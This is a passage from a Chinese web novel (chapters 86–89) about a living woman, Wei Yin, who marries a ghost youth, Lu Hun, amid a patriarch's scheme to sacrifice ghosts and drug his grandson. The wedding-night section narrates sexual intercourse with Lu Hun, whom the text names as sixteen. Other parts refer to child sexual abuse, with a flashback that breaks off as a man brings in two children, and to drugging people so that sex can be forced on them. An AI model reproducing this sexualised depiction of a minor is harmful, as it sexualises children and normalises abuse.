“那哥哥不用再说了。”鬼男孩笑了起来,“我愿意的。” 纪嘉玉一时,潸然泪下。 他从鬼男孩那回去,回禀了裴老与魏父,二人皆一阵低沉不言语,半晌时间,裴老开了口,“此事,我会亲自上书圣上。” 纪嘉玉与魏父心头一定,裴老亲自出面,比任何人都有分量,一定会引来朝廷的轩然大波,贺家,罪责难逃。 唯独魏姻和那陆家孩子成婚的事,魏父怎么也不情愿,裴老等人,不好说什么,况且魏父的话不是没有道理,人鬼怎能做夫妻呢。 魏父心里不乐,可想到陆魂为了群鬼和救魏姻出来,不惜灰飞烟灭,实在难得,他又不好直接回信去说不同意,让那可怜孩子伤心,于是就一直僵持,只当他不知道这事。 信送到两日了,魏父那边却久久没有回音,魏姻有些着急,魏父平日里宠溺她,要什么给什么,便是婚姻大事都随她喜欢,却不可能让她嫁给一个鬼的。 魏父的不回信,让陆魂明白了他的意思,一时间,他的欣喜尽数褪去,变得比往常更沉默了些x。 虽然一句话不说,魏姻看出了他心里的苦闷,他知道自己始终无法像个正常人得到认可,她劝他不要在意,毕竟是女儿婚姻大事,需要郑重考虑些日子,陆魂对她温和笑笑,说自己不在意。 魏姻就每日都偷偷写几封信给魏父,让他同意,魏父仍旧不回,魏姻不敢与陆魂说,怕他伤心。 但魏姻这暗自写信的事,陆魂早已发觉,他并没有揭穿她,他只偶尔不动声色地说,其实不成婚也无碍,能有姐姐这份心意,他死而无憾了,魏姻闻言,眼睛却红得很,给魏父写信写得更勤了。 陆魂偶尔夜里起身,看到魏姻总红着眼角坐在灯下,一字一句认真提笔给魏父写信劝说,坚持要成婚,他终于无法视若无睹了,在一日魏姻去与少妇人说话时,他暗自研好墨,铺开纸张,提笔写下了一封沉甸甸的长信给魏父。 魏父收到这封信,还以为又是魏姻写来的,打开才发现,是陆魂。 魏大人敬启: 晚辈陆魂,魂乃京师断头胡同一陆家之子,初,父入贺家为贺文卿之西席,意不料贺家夫人因夫妻不睦,遂嫉诱父苟且,魂由是一父恶母厌媾合之人,不容于世,后风云不测,贺老欺魂年幼,将魂亵之,非祖母临终逼誓,裹尸久矣,数年之后,中举当夜,母临门前,言兄长文卿无嗣,迫魂与兄妻魏家姐姐为其私娩一孙,生路已绝,只得投死以消母邪念,自念及平生,无一庐舍可遮魂之苦雨凄风,无一亲故可托魂之敦敦衷肠,然则幸得魏家姐姐垂怜,终可瞑目,婚姻之事,不该奢求,却又奢求,大人允固欣然,不允亦安然。 只心剖往事于纸背,神鬼鉴之。 陆魂拜下。 少年的笔锋,仿佛是沾着血,用血呕心沥血写出来的一字一句,尤其是写到将魂亵之那段,墨渍明显洇透了纸背,显然是顿笔许久许久,才下定决心和盘托出的。 少年将自己这一生一直深埋在心底里的悲惨遭遇,尽数诉说给了魏父,不避不藏,完全下了绝意。 魏父握住信纸的手,颤了一下又一下。 他将信纸翻过去,果然字字都入木三分,透到了纸背,可想而知其中的决心和痛苦。 魏父忽然一下子说不出一句话来了,纪嘉玉看他呆愣的模样,惊讶住,以为信纸上写了什么了不得的东西,想要拿过去看,魏父突然将其拿起,折住。 说道:“也没什么,你别看了,找机会趁着法阵打开,将那鬼孩子送进去吧。” 魏父坐在桌前,盯着跳起来的烛火,重新打开信又看了起来,直看到天都亮了,他才深深地叹息了一声。 当日下晌,魏姻就接到了魏父终于回来的一封热乎信,魏父同意了,魏姻毫不知情是陆魂将自己剖光得一干二净,才让魏父转变想法,她高兴得起身,跑过去将这事告诉了陆魂。 陆魂也欣喜地笑了,但欣喜中,又藏着些魏姻不知道的苦涩。 他们要成婚的事板上钉钉了,群鬼们都很为二人开心,可魏姻与陆魂出不去,没法去外头办婚事,但贺老爷子的谋划又紧在眼下,他们不可能再耽误,于是由少妇人拍板,她当主婚人,群鬼见证,让魏姻陆魂在贺老爷子布置的那个喜房里成婚,成婚的吉日刚好选在贺老爷子准备动手的那一日。 那一日,就是几天之后了。 婚房里现成的东西都有,但唯独缺了魏姻与陆魂要穿的那两套婚服,不过这也好办,让魏父在外头为女儿和未来女婿准备好,由破军一点点带回来。 魏父同意了,可他忽然想到女儿成婚,他这个父亲却不能在场,不能受他们磕头,又有点不乐意了。 魏姻哄他,说一定会朝着他的方向,给他磕头敬茶,说得魏父感觉怪怪的,但已经同意的事也不好再反悔,而且,他更不好意思对着那个一生悲惨的未来女婿反悔,那他都要忍不住骂自己歹毒了。 魏父疼女儿,虽然只有几日功夫,但也将二人的婚服做得极其精致华丽,一点不能委屈,同时,又让人准备了好些头面首饰给她当天妆扮。 别的都没什么,这可倒苦了破军,天天跑来跑去,拿一堆沉甸甸的东西,将剑身都要累弯了,渐渐的,有些不情愿了,喊不动了,饶是陆魂吩咐,也不肯搭理他。 最后还是少妇人有办法哄好它,说它要是不肯干活的话,就不让鬼男孩跟它玩了。 事情办得差不多了,群鬼悲怨的脸色纷纷开始染上一点喜色,都在期待着这门婚事。 但同时,又有点淡淡哀伤蔓延在所有人的心中。 因为成婚这夜,也是他们准备献祭的时候。 陆魂这几日,脸上也隐隐有着一股淡淡的哀伤,他情绪本就一向不怎么外露,别人看他还和平常一样,没什么区别,魏姻却敏锐察觉到了,在两人独处的时候,就问他,是不是因为献祭而闷闷不乐。 陆魂则摇头。 魏姻反倒疑惑了,“那陆魂为什么不开心呀?” 陆魂抬头,伸手抚摸她的发鬓,淡淡地道:“让姐姐嫁给我,实在委屈了姐姐,不然凭着姐姐的身世样貌,怎么也不会有这样寒酸的婚事,我不但连一点聘礼都给不起姐姐,还要让姐姐连给自己父亲磕头敬茶都做不到。” 他低下头,黯然道:“陆魂,一无所有,什么都给不了姐姐。” 魏姻还以为他想什么呢,瞬间放下心来,朝他招招手,示意让他到自己身边来,陆魂愣了下,乖乖过来,魏姻便起身,按住他的肩膀让他坐下,自己则随后一屁股坐进他怀里,她的身体紧紧贴住他,她搂住他的脖子,轻轻扭了扭身子,少年猝不及防,连忙轻轻“嘶”地一声,重重倒吸口气。 魏姻贴到他的耳边,笑吟吟张口:“谁说什么都没有的,陆魂能给我这个。” 陆魂没忍住,笑了,又咬牙,轻声道:“姐姐,我跟你说正经的,你怎么——” 同时,贺老爷子那也在忙着开法阵改天换命的大事,倒一时没怎么顾得上空宅子里的那群鬼,所以没有发现什么不对,自以为可以高枕无忧了。 唯独,还有一件事有些难办。 就是贺文卿。 正想着,贺文卿来了,贺老爷子不动声色地交代他,“文卿,过两日你与我去一趟祖坟那边。” 贺文卿对于祖父的话,向来没有不听的,当即应承下来。 贺老爷子倒有些忧心忡忡了,“这孩子一心将我当成祖父敬重,若是让他知道了真相,不知会怎样想,贺伯,这些事还是不要让他知道了,到时候过去了,你暗中给这孩子用点药,只让他能和魏姻同房就行了,别的都不必让他明白一点。” 第87章 铜镜前,照出镜中女人粉嫩的脸容,一冠用红宝石嵌成的牡丹大花冠艳光熠熠地端顶在饱满的乌鬓上,两旁各别上一对红凤衔粉珍珠,眼珠子那样大的粉珠刚好垂在两边额骨前,但又不至压到眉眼,这头面红光艳艳,可却无论如何夺不走顶着它们的这张脸的娇艳粉嫩。 魏姻娇惯长大,身段并不瘦弱,而是像羊脂白玉一样,丰润有致,少妇人为她穿上了婚服,大红婚服上同样绣着暗红色的牡丹,看上去就像是暗纹一样,缀以红宝石,乍一看没什么,可在烛光下这么一照,就生起辉来了。 这衣服首饰都是魏父精心安排的,而陆魂那件新郎服,虽也精美,但比起她这件,显然是没有那么特别用心。 少妇人笑了笑,“我将喜服送过去的时候,陆公子摸得可小心了,生怕把衣裳弄坏了。” 魏姻也跟着忍不住笑笑,时辰差不多了,少妇人从边上挑起盖头,盖在魏姻的头上,又拿上一块极长的红绸,塞到魏姻手中,低声交代道:“待会陆公子来迎你,要他扯着这个带你去前堂拜堂。” 魏姻点点头,将红绸在手腕上缠了缠。 门外吵开了来,群鬼推着陆魂来到了喜房,门掩着,只微微开出一点,少妇人钻到门口处往外张望了下,忙走回来扶魏姻起身,她隔着一扇门,对外面的陆魂吩咐道:“新郎君,要扯住新妇身上绸子,可才能带走新妇哦。” 说完,示意魏姻。 魏姻就将手里红绸用力从掩门中扔出去,陆魂要去捉,却被看热闹的鬼挤掉了。 让他半晌都摸不着边。 好不容易群鬼不捣乱了,魏姻却玩心大起,x故意将红绸子往少年的脸上甩去,从他身上擦过,可在少年立刻要伸手去捉住的时候,又猛地将绸子给收了回来。 陆魂今日一身新郎袍子,他的衣袍颜色,要比魏姻的略深些,透着几分暗黑,跟血一样,他惯戴的方巾去掉了,改了冠,冠是金冠,冠上倒和魏姻一样,用红宝石点缀,他平常面色是极苍白的,今日成婚,特意上了点淡色口脂,显得有些气色,而红宝金冠,衬得他面如冠玉,渐渐从少年气,变得像个成熟男子了。 但那只是他不动时候的假象,仅仅是捉个红绸子,他的眼皮盖就被众鬼的哄笑声嘲得忍不住泛起了红。 少妇人促狭他,“新郎君,不会连个绸子都捉不到吧?那可带不走新妇呀。” 少年脾气好,也不着恼,这会儿抿住唇盯着红绸子,认真地去捉。 他认起真来了,在魏姻刚要甩他脸面之前,他就哗啦过去,将绸子紧紧攥在了手心里,魏姻用力想夺出来,却被他拽得一点动不了。 “姐姐,别玩了,时辰不早了。”他腼腆笑劝道。 魏姻这才收了手,任由他抓着红绸子的一端,她抓着另外一头,出了房门,因为头上盖着盖头,走得不太方便,陆魂放慢了脚步,亦步亦趋地跟在她身边走。 魏姻走路也不消停,故意将绸子往自己身边扯了又扯,一会儿绸子收紧,将陆魂扯到身边来,一会儿又松开,让他离她远一些。 好不容易到了厅堂,里头被群鬼简单挂上了一些喜帐,入门处的高坐上没有双亲坐在那,只摆着杯敬茶,天地拜完后,因为魏父等人又不在,他们只能对着文家老宅的方向磕头行礼,算是聊表心意,夫妻拜过后,没有宾客,也就不用陪宾客了,只略微用水代酒,敬了少妇人这个主婚人,以及群鬼,跟着直接送入喜房,群鬼又哄着陆魂当他们的面将魏姻盖头揭下,让他们喝了一杯合卺酒。 良宵苦短,今夜就要行事了,少妇人不忍心浪费两人的时日,将还要看热闹的群鬼带了出去,让这对新人单独相处。 喜房内,一对**凤双烛在用尽全力燃着,喜床旁,魏姻与陆魂默默坐着。 少年头一次成婚,从早上到现在礼成了,脸面都透着红晕,他紧张得完全不敢抬头看魏姻的脸。 魏姻好笑起身,一边退一边扯缠住两人手的红绸子,陆魂被迫让她扯了起来,他不得不起身,跟她一起往后退,魏姻背贴到了龙凤烛,才停下脚步。 红绸子全扯到了她怀里去,少年手上只捏了可怜的一点,他仍旧不敢抬眸,去看将他扯得只有一拳距离的她。 魏姻看少年这个模样,更好笑了,她又转过身,往床榻那边走,陆魂只得被她一同扯过去。 二人来到了床榻前。 少年始终羞怯。 魏姻终于无可奈何了,说道:“陆魂,你说夫妻成婚这夜里应该做什么呢?” 陆魂脸一下子红到像泼了红颜料一样。 魏姻道:“把床榻外那层红帐子放下。” 陆魂立刻乖乖照做了。 朦胧的洒金红纱帐子里,一男一女,面对面站着。 魏姻叹口气,将手腕上的红绸子拿下来,又去将他的拿开,红绸子哗哗叠落在两人脚边,接着,她执起少年瘦长的指骨,放在了她的衣带上,说道:“该就寝了,为姐姐宽衣吧。” 陆魂手发颤得厉害,他点点头,将魏姻身上外面这件大红嫁衣给脱了,魏姻用眼神鼓励他继续,少年这才终于大了胆子。 好笑的是,少年却将头转了过去,并不敢看。 魏姻笑了笑,也不逼他,拉住他发硬的手臂,去解他衣襟。 陆魂一入了被褥,就将自己深深地埋了进去,完全不敢露出头来,魏姻都快忍不住笑出声来,但她还是强行忍住了,跟着一同钻进去,陆魂小心又谨慎地使劲往墙角靠,魏姻也懒得管。 只笑着命令他:“不许躲,过来,抱住姐姐。” 陆魂迟疑了一会儿,不敢不听她的话,强忍住羞涩转过身来,内敛的眸子此刻却放大了,瑟缩望着她看。 少年向来羞怯,此刻依然,下一刻,魏姻发出一声感叹般的轻笑,主动伸手勾住少年的脖子,吻上少年的唇。 陆魂一顿,立时甜腻回吻住她。 在他亲吻得正专心时,少年忽然身子一颤,他惊吓得猛地弓起身子,意外瞪大眼盯向她,往后一避,“姐姐,我,我还没准备好……” “回来。”魏姻根本不理会他的话。 陆魂委屈地看了她一眼,又一眼,心里似乎并不太情愿,他小声说道:“我要自己来,我要做好准备,姐姐不许这样快。” 魏姻无可奈何地望住他,最终,还是同意了。 陆魂的准备,可真够长的,他非常着迷细腻的亲吻,只抱住魏姻小心翼翼地亲着,而最喜欢的,则是缠着她濡沫相交,前奏十分漫长,将她亲得浑身都要满溢出来了。 不知过了多久。 终于,他在她耳边轻轻地提醒,“姐姐,我准备好了。” 陆魂说着,不时地去看魏姻的脸色,她脸上粉润润的,唇瓣被他亲了许久,却一点不见白,反而显得更加红艳,魏姻看出他的谨慎,笑着亲亲他的发红耳尖,“姐姐没事的,你别怕,想做什么就做什么。” 陆魂小心翼翼地垂下眸子,将手指插进她的手心里,这才轻轻地开始了。 然而少年还是太不安了,他好像生怕将她弄得不舒服,一会儿去看看她的脸,一会儿摸摸她的头,魏姻反倒更不舒服,笑吟吟哄他道:“陆魂乖,别怕呀,你这样姐姐更难受的。” 没想到,真到了那一步,陆魂反倒比她还难受,委屈唤她姐姐。 “小傻子。”魏姻只得忍住身上的那点痛,耐心去亲他,“陆魂不紧张,是你没有经验,一下子受不住而已,你放松一些,不要那么紧绷自己。” 陆魂勉强哦了一声,他缓了好久才回神,才慢慢地抱紧她,他的脸在她的肩窝蹭了蹭,听起来藏着几分深深的悲伤。 “姐姐……我消失之后,你还会记得我么?” 魏姻耐着性子回道:“先别说这个。” 陆魂摇摇头,执拗追问:“姐姐要记得我好不好?” 魏姻敷衍着答应,哪有这个时候还一心顾旁的事。 陆魂看出了她的敷衍,低下了头,过了一会儿,忽然眼睛湿润了,他的声音听起来极嘶哑绝望:“姐姐,我们要一个孩子好不好,一个和我很像的孩子,姐姐看到他,就会记得曾经还有一个叫陆魂的人。” 魏姻察觉出少年的不安,笑了,“好,那陆魂给姐姐一个孩子?” 陆魂心底的阴郁瞬间一散而去,凑在魏姻耳边小声道:“姐姐,我好高兴,姐姐愿意要我的孩子,但抱歉姐姐,陆魂不能给姐姐一个半人半鬼的孩子,也不能让陆魂的孩子拖累姐姐后半生,今夜能与姐姐做成夫妻,陆魂已经心满意足了,姐姐,你忍忍,陆魂要使劲了,今晚我再不会放过姐姐了,陆魂要让姐姐永远都记得今晚我给姐姐的痛,一辈子都不敢忘。” 果然如少年所说,他将脑袋深深埋进了她的颈窝里,手也被他的两双骨节分明的瘦长手指给抓住了,真不知道他这么瘦,哪里来的这么大蛮力。 魏姻突然被少年这个模样吓了一跳,想着和他说些什么,但显然,已经来不及了。 这个少年的眼神变了,黑的要将她吸进去,他后来虽然不断喊着姐姐姐姐,但声音完全破碎嘶哑了,魏姻更是一句话都没有机会说出来。 这一夜,魏姻让这个十六岁的少年,终于变成了男人。 第88章 今夜的天色尤其地黑沉,整个天穹就像是一块密不透风的黑布一样罩在贺文卿的头顶上,让他有些无端地透不过气来,而向来会动些冷风的这个时辰,一点风也没有,显得天地又静、又死、又空。 贺文卿望着这黑天,总有点踌躇不安,连贺老爷子在车里叫了他好几声竟都没听进去,被身边的贺伯拍了拍肩才醒悟过来,上车去服侍祖父。 贺老爷子看他有些奇怪,问道:“文卿,是身体不舒服么?” “没有。”贺文卿闷声回道:“大约是这几日心里有些事,没怎么睡好罢。” 贺老爷子追问:“哦?什么事让你如此模样?” 贺文卿想到了贺夫人当日跟他说的话,怎么也想不到,那个叫陆魂的鬼少年,竟是x他同母兄弟,母亲不声不响的,与人有了私儿子,他心绪复杂了好些天,可关系到贺夫人和贺家脸面,即使陈宣华问起来,他也不敢透露出一个字,贺文卿并不敢告诉贺老爷子,而是随意笑笑,“只是朝中一些琐事罢了,祖父不用忧心,孙儿会处置妥当。” 自己也有心事的贺老爷子,闻言不再多问。 马车离贺家府邸越来越远了,到了偏一些的路段,贺文卿认得这个路段,不解道:“祖父,这可是要去祖坟那儿?这么晚的天了,祖父去那做什么呢?” 贺老爷子不动声色地答道:“这些日子总梦见祖宗们,怕是看坟的那些个底下人不尽心,哪里进了水,哪里坏了土都不仔细,带你一块过去看看。” 贺文卿虽还有一丝疑虑,却也没在意,安心跟着去。 马车来到了一处空宅子前,空荡荡得厉害,许多年没什么人住过了,但显然近两日又经过一些简单的扫除,可不知怎的,贺文卿总觉得这宅子,让人很不舒服,一靠近浑身湿冷冷的。 这时,贺老爷子递来了一杯刚沏好的茶,“文卿,外面天寒,猛一出去会受风,先喝点热茶暖暖身子吧。” 贺文卿不疑有他地接过,喝下。 没过多久,贺文卿就觉得脑子有点糊里糊涂了,只依稀看到,贺老爷子对贺伯吩咐一声,贺伯就将他给扶下车,往宅子里头走去,隐约地,他看见一点挂了喜帐的屋子在前面不远…… 模糊地,听到贺伯对他说:“公子,少夫人就在里头等着公子呢,老太爷说了,夫妻吵吵闹闹是常事,没什么的,怎能和离呢?少夫人这是年轻不知事,你给她几个孩子,她做了母亲,就知道轻重了,公子,我扶你过去吧。” 贺文卿恍恍惚惚的,任由对方撺掇着走。 到了房门口,贺伯不好再跟着进去了,只好对贺文卿交代道:“公子,快些进去吧。” 贺文卿虽迷迷糊糊,但心底也想见魏姻了,点点头,挥手让其离开。 贺伯走远了,贺文卿刚要拍门而入,身后突然钻出来一群鬼,“快抓住他!” 猛地回头,贺文卿瞥见身后全是一群穿着白色细麻衣的鬼,个个脸色苍白诡异,四肢怪异,尤其,为首的那个竟还身怀六甲,望着他的时候嘴角笑得极其阴毒,这些东西,远远地看上去,就像是一团团惨白的白眼珠子一样恐怖。 贺文卿头皮一激灵,跟着清醒了几分。 他还没来得及出声,就被这些冲过来的鬼抓住了手脚,他们好像要一起将他撕碎! 剩下的,贺文卿记不住了,再次陷入昏沉。 群鬼本来是要当场给他撕碎了的,少妇人看了眼里头,制止了群鬼,“先将他带到我们那去。” 贺伯回到贺老爷子身边,老爷子身边已经聚集了许多身穿法衣的人,贺老爷子问:“文卿怎么样了?” “带过去了,到时候,那屋子里的香炉里有催情的药,少夫人就算不愿意,也由不得她了,老太爷,此事必定成。” “那就好。”贺老爷子终于欣喜起来,“不枉我费尽心思筹谋这些年,我贺家有后了,后人必定能够继续昌盛兴旺。” “时辰快到了,老太爷。”过了一会儿,贺伯提醒道。 贺老爷子脸色瞬间变得凝重,吩咐众人道:“去,大开法阵!拘住那些鬼,祭祀法阵!” “是!”- 龙凤双烛还在用力烧着,但已经烧了一大半了,这烛火将红帐子里头照得若隐若现。 陆魂是鬼,身体冰冷得很,即便在做这些事的时候,他身体也没有一点温度可言,但也许是这事太热了,热得心都燥了,魏姻不但没有觉得冷,反而觉得这滋味无法形容。 她身上是热的,而他身上是冷的,魏姻身上一冷一热,冰火两重天,让人浑身激灵。 陆魂做鬼多年,这还是第一次感受到生人的温度,烫得他忍不住发抖、发颤、抽搐。 魏姻渐渐的,承受不住这样的冰火两重天,好在少年也是初次行房,他再有硬挤出来的少年蛮力,但终究年少又毫无经验,没有坚持太久,大约一个时辰就把自己抖得没办法再进行下去了。 但初尝人事的少年,第一次大都很兴奋,自然不愿意如此罢手,陆魂即使平素再腼腆能忍的性子,此刻也断断不甘心,按住魏姻的手腕不许她起身。 魏姻看他嘴唇都在颤,明显是过于激动,怕他年少不知轻重,强行抽出手腕来,少年到底不敢真对她用劲,只好湿着眼瞅住她。 魏姻忍不住笑了一下,无可奈何地凑过去亲亲他抖得厉害的薄唇,“好了小陆魂,你身体不舒服了,不能再碰姐姐了,不然会出事的。” 陆魂微微垂着眸,不甘地小声道:“陆魂喜欢在姐姐身心里,陆魂和姐姐只有今晚,姐姐……” “那也不许。”魏姻嘴上这样说,终究还是心软了,“还是不能,我们晚些时候还要应付老东西哪,姐姐亲你,好不好?” 陆魂思考着什么事,慢慢抬头,轻轻望着她,“我听姐姐的,但是姐姐,我们……已然成婚了,姐姐,要叫我……那个,亲我,陆魂才听姐姐的。” 少年的心思明了,魏姻一下子就猜到了,但她装作不知,“哪个?叫哪个?” “都成婚了,做了夫妻,自然是要叫……”陆魂犹豫了下,还是没好意思将那两个他做梦都想听的字眼说出来。 即使到了这份上,他还是卑怯腼腆的。 魏姻看着少年小心翼翼的语气,在心里又是一阵轻笑,她伸手搂过少年的脖子,示意他将头低些,陆魂乖乖照做了,魏姻就亲了下他的耳尖,声音极轻地喊了一声。 “郎君。” 陆魂一怔,仿佛没听到。 片刻后,他有些谨慎地道:“姐姐,你叫我什么?” “郎君。”魏姻这回大声了,“你是姐姐的小郎君。” 陆魂眼睛几乎都要红了,他猛地抱紧魏姻,“陆魂是姐姐的,是姐姐的郎君,姐姐以后不能有了别的郎君,就忘了陆魂这个郎君,不然,姐姐,我就是灰飞烟灭,也不会放过你的。” 少年的语气,几乎要哭出来了。 魏姻刚要亲他眼角,哄他,忽然只觉身子好像不太对劲,陆魂也感觉到了,他瞬间收起所有情绪,“姐姐,老东西发动法阵了。” 两人不能再继续,陆魂先起身,拿过衣裙来给魏姻一件件穿上,魏姻睁眼怔怔盯着他看的时候,少年这个时候还顾得上害羞,让她闭眼,不许她看他。 魏姻穿好后,陆魂急急忙忙地套上自己的。 方一下地,魏姻下意识地脚一软,少年忙扶住她,担心地问:“姐姐,是不是我弄疼你了?” “没有。”魏姻哄他,“就是有些脱力罢了,待会就好了。” 陆魂这才放心,扶着她走出去,少妇人早已守在了门外,看到他们终于出来了,连忙道:“可算来了,再不过来,我都要去喊你们了,你们快来,老东西马上要拘起我们了。” 两人跟着少妇人来到群鬼这边,鬼男孩早两日就被纪嘉玉送了进来,他满脸紧张地跟在破军和哥哥姐姐们身后看,可却没有再像之前那样惶乱无措。 除了鬼男孩,魏姻注意到,贺文卿也在,他昏昏沉沉半睁着眸子,要醒不醒地被扔在了地上,靠着墙在那神志不清。 见魏姻望住贺文卿,少妇人便解释道:“之前听说老东西今晚要开法阵,带他这孙子过来,我便和人守在你们那,没想到,倒真让我们逮到了!” 群鬼恨意歹毒地对少妇人说道:“姐姐,我们杀了他吧!老东西最宝贝他了!” 少妇人却没有动作。 “姐姐,你在想什么?” “为什么不让我们动手?” 少妇人忽然望了一眼在鬼群脚边的鬼男孩,有些忐忑地询问陆魂:“我想,若是让这个姓贺的东西变成鬼,可否换下小弟?小弟他年纪还这么小,什么都没有见识过,若可以,我想要小弟别跟着我们一块消失,即使做鬼,那也好过灰飞烟灭呀……” 众鬼一愣,慢慢沉默了下去,不再嚷嚷着逼少妇人了。 沉默过后,其中一个鬼出声了。 “姐姐说得对,能不能让他代替小弟?” 陆魂皱眉道:“成鬼要缘分时机,即使有这个地方的灵气,也不一定能成鬼。” 少妇人的希望彻底消失,咬了咬牙,“那我们撕碎他算了!x把他的尸首扔给老东西,让他也尝尝痛苦!” “姐姐说的是!撕了他!撕了他!” 贺文卿被震耳欲聋的声音终于震醒,见着这么多龇牙咧嘴的鬼怪朝他围剿上来,瞳孔剧地一缩。 第89章 然而却在这时候,在群鬼身后的回廊下忽然发出一道不知从何处传来的声音,喊着“且慢”,叫住了所有鬼,这话音听起来是孱弱的,低哑的,就跟久病的人一样,还有点有气无力,但是半晌看不到有什么人,以为幻听了,可不一会儿,就见着一团黑色雾气聚集在廊下,渐渐形成了一个鬼影。 看上去,那是一个气质病孱的中年男子,身上穿着大户人家下葬时所特意换上去的黑青色缎子寿衣,他两眼圈深邃又青,脸颊病瘦,绝不像是一个活人,像是生前病死的。 他步履慢缓地往屋里走来。 众鬼满是疑虑地盯着他,并没有注意到,清醒过来的贺文卿,看到这个出现的中年男子眼神充满了惊愕和不敢相信。 魏姻和贺文卿的表情一样,“父……贺……” 眼前的人不是别人,正是当日已经病逝下葬了的贺父,陆魂盯着贺父看了一会儿,他记性好,即使只是幼时见过贺父一面,仍是很快将他认了出来。 “你是何人?”少妇人身后的一个鬼怒气冲冲地问:“想做什么!?” 贺父并不作声理会,而是将目光在魏姻与和贺文卿身上停留了片刻,转而又看向少妇人等鬼,缓缓开口:“我姓贺,是你们身后那个贺家长孙的父亲。” 贺父一如生前的嗓音,让贺文卿震惊得连恐惧都忘了。 少妇人和群鬼个个都急红了眼,少妇人更是冷笑得露出了狰狞,“原来你也是贺家的人!还是那个老东西的儿子!你们贺家,都是些畜生!猪狗不如的畜生!” 闻此言,贺父面色如常,没有一丝恼怒和羞愤,他只静静地,用浑白的眼睛复杂望着众鬼。 但少妇人这话,却将一向傲气的贺文卿给惹怒了,他愤怒地站起身,不惧众鬼,冷笑睨着众鬼,“你们这群孤魂野鬼,竟敢闹到我贺家头上,辱骂我祖父,我堂堂贺家,堂堂朝廷的臣子,岂会惧怕你们这些鬼东西?若再不识相,休怪让尔等灰飞烟灭了!” 众鬼彻底被惹怒。 贺父却对着贺文卿大斥道:“贺文卿,住嘴!不要胡说!” “父亲?”贺文卿冷漠地望向他,“我不知父亲为何会出现在此处,兴许,父亲已经不是人了,但父亲,你自小从未教导过我一次,如今入了土,反倒又想教导儿子了?可儿子已不用你老教养了,自有祖父教导。” “够了。”贺父忽然满脸厌恶地道:“住嘴,不要再提你祖父了。” “父亲!”贺文卿平日最敬贺老爷子,容不得旁人一点不尊,“你生前放浪,让祖父操心也就罢了,如今还不知祖父的苦心,竟还对祖父如此不逊。” 原本还满脸厌恶的贺父,突然又收住了,满眼悲悯地看着贺文卿。 那边,听到过魏姻和贺老爷子谈话的少妇人,此刻讽刺地大笑起来,有趣地盯着贺文卿,“你可真是你祖父的好孙子,只是,真不知道,你该叫他祖父呢,还是父亲更好呢?” 贺文卿冷然转过脸去,“你个鬼东西,胡说些什么?!” “姐姐,你看他急了。”少妇人身后的一个鬼讥笑道。 “他原来竟什么都不知道呢。” “老东西这个老畜生,自己儿媳妇也不放过。” “姐姐,你说,我们要不要告诉他呢?” “告诉他吧姐姐,也好让他死得明明白白。” 一时,屋里全是群鬼的讥笑讽刺声,七嘴八舌的,热闹得跟集市一般。 魏姻沉默望着这一幕,觑陆魂一眼,陆魂对着她,轻轻摇头。 贺文卿虽不太明白这些鬼嘴上说的到底是什么意思,但他也渐渐听出来了一丝不对,整张俊脸盛怒到赤红色,怒不可遏地抓过地上一个什么木棍,朝着众鬼迎头砸去。 “好大的胆子,我祖父那样威严端直的人,竟被你们说得如此不堪,还敢胡乱编排祖父和我母亲,我今日一定要让你们死无葬身之地!” 木棍对众鬼毫无用处,众鬼反而笑得更大声了。 贺父分外平静地看了会,闭上眼。 少妇人见贺文卿不信,嗤笑道:“贺家长孙,你祖父那个老东西,将我们这些人全都关在这个地方凌辱多年,你看,我一个身怀六甲的孕妇,和那个无辜孩童他都不放过,还有什么做不出来的?他这样的老畜生,跟自己儿媳妇扒灰又有什么?你若是不信,不妨问问你的父亲,或者去问问你的祖父呀?” “胡诌胡诌!祖父自小教我读书,对我仁慈宽爱,绝不会做出这等丧尽天良的事来!绝不会!”贺文卿几乎要气疯了,口不择言,“你们这群畜生,休要蛊惑人心,我要杀了你们,杀了你们!” 他说着,竟然什么都不顾,朝众鬼冲过去。 贺父上前拦住了他,“文卿,住手吧。” “父亲!”贺文卿眼睛变得异常猩红吓人,情绪激烈,“这些东西在羞辱我贺家啊!他在羞辱祖父,羞辱你,羞辱母亲,羞辱我!这群不知羞耻的东西,死后竟也不安分,来羞辱我贺家一门,活该生前不得好死!” 贺父再也听不下去了,“住嘴文卿,你不能这样说他们!他们确实是被你那个早就该死的祖父给害的!” 贺文卿愣了一下,很快挤出几个字来,“不可能!” 贺父的目光从满屋的鬼脸上一一扫过去,甚至,包括陆魂,陆魂白着脸,偏过头去,贺父越看,头和脊梁骨就越低,几乎快要埋进地上去了,再也抬不起来的模样。 贺文卿却依旧怒容满面。 贺父自嘲似地笑笑,缓缓开口了,“你不要不相信,因为这些都是真的,我们贺家实在是作了太多孽,你的祖父简直不是人。他从小教导我读书,读着书里的仁义礼孝,我也以为他也是这样的人,可直到我那年功名得中回乡告诉你祖父,我才知道,他以前告诉我的,教我读的东西,都是假的,全是假的。” 那年,贺父还年轻,正是一腔赤诚的年纪,虽自小被贺老爷子教导行事要沉稳,他还是没忍住多年的苦读终于有了结果,迫不及待地回乡告诉贺老爷子,因为是自个回来的,府里人都不知道,贺老爷子也不知道,所以并不在府中。 府里一个下人说,贺老爷子兴许又去了祖坟那边的空宅子里住了。 贺父一点没多想,单马疾驰而去,祖坟空宅里的下人少,没几个人,都在底下住着,因为夜深,守夜的也打瞌睡了,贺父想要给贺老爷子一个惊喜,没有吵醒下人,暗自进去找贺老爷子。 可是贺父此生都没有想到,会看到让他这辈子都无法面对的噩梦。 贺老爷子住在一个最大的房里,从廊下看过去,只见着簇簇灯火通明,门外并无仆人守,贺父可以透过大开的窗子,看到屋里头所发生的一切。 他从记事起就放在心里敬重爱戴的父亲,却伏在一个身怀六甲的少妇人身上,那个妇人穿着宽宽大大,几乎可以看到里头雪胸的白色细麻衣,妇人不断痛哭着,想要挣扎,却被贺老爷子给强拽回去,妇人拼命地后退,可还是无法躲避,贺老爷子就像是完全变了一个人似的,凶狠毒辣,即使那个妇人都那样大的肚子了,他也丝毫不放过,朝着妇人的脸狠狠扇去。 贺父看得满心不忍,很是惊讶,但以为那只是贺老爷子养在外头的外室。 可紧跟着发生的事,让他更为震惊。 那个妇人被活活磋磨昏死过去后,贺老爷子一副无力又恼恨地模样,对里头的贺伯吩咐道:“还是不太中用,不行呀,前两日不是抓来了一对小姐弟么?让他们进来吧,我试试他们。” 贺父还没明白过来那个“试试”究竟是怎么回事,贺伯就将一对还是孩子的姐弟扯了上来,他们身上穿的和妇人一样的白色细麻衣。 贺伯退开了,那两个姐弟恐惧地坐在地上,互相抱成一团,贺老爷子则一脸**地道:“别怕,孩子,老夫会疼你们的。” 接着,贺父看到,贺老爷子竟然…… 